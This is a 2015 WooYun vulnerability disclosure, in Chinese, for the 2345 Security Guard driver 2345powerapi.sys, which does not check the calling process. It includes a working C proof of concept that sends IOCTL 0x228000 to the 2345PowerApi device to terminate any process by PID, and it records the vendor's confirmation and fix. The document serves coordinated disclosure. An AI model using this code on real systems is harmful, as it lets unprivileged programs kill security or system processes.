当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098955

漏洞标题:2345安全卫士驱动存在设计问题

相关厂商:2345网址导航

漏洞作者: 路人甲

提交时间:2015-03-02 09:38

修复时间:2015-05-31 10:44

公开时间:2015-05-31 10:44

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-02: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-05: 细节向第三方安全合作伙伴开放
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

2345安全卫士安装的2345powerapi.sys驱动程序,不会校验打开其设备对象的进程。导致任意具有打开设备对象权限的进程,都能使用其驱动中的功能。既然叫powerapi一定是很好很强大。我就试了一个关闭任意进程。其他的未测试。

详细说明:

2345安全卫士安装的2345powerapi.sys驱动程序,不会校验打开其设备对象的进程。导致任意具有打开设备对象权限的进程,都能使用其驱动中的功能。既然叫powerapi一定是很好很强大。我就试了一个关闭任意进程。其他的未测试。

漏洞证明:

//
#include <Windows.h>
#define CONTROLCODE1 0x228000
HANDLE OpenDevice(TCHAR *devName)
{
HANDLE hDev = CreateFile(devName,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
return hDev;
}
void CloseDevice(HANDLE hDev)
{
CloseHandle(hDev);
}
int SendMessageToDev(HANDLE hDev, DWORD dwIoControlCode, BYTE *inBuffer, DWORD inBufferSize, BYTE *outBuffer, DWORD outBufferSize)
{
DWORD outLength;
BOOL ret = DeviceIoControl(hDev, dwIoControlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &outLength, NULL);
if (ret)
return outLength;
else
return -1;
}
void Poc()
{
HANDLE hDev = OpenDevice(_T("\\\\.\\2345PowerApi"));
if (hDev == INVALID_HANDLE_VALUE) {
printf("[-] Open device failed!gle:%d\n", GetLastError());
return;
}
DWORD pid = 4;
printf("Input pid:\n\t");
scanf_s("%d", &pid);
int ret = SendMessageToDev(hDev, CONTROLCODE1, (BYTE *)&pid, 4, NULL, 0);
if (ret < 0) {
printf("[-]Control device failed, gle:%d.\n", GetLastError());
return;
}
CloseDevice(hDev);
printf("[*]Ok!\n");
return;
}
int _tmain(int argc, _TCHAR* argv[])
{
Poc();
return 0;
}

修复方案:

严格限制能使用本驱动的进程。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-02 10:43

厂商回复:

已在下个版本中修复,非常感谢!

最新状态:

暂无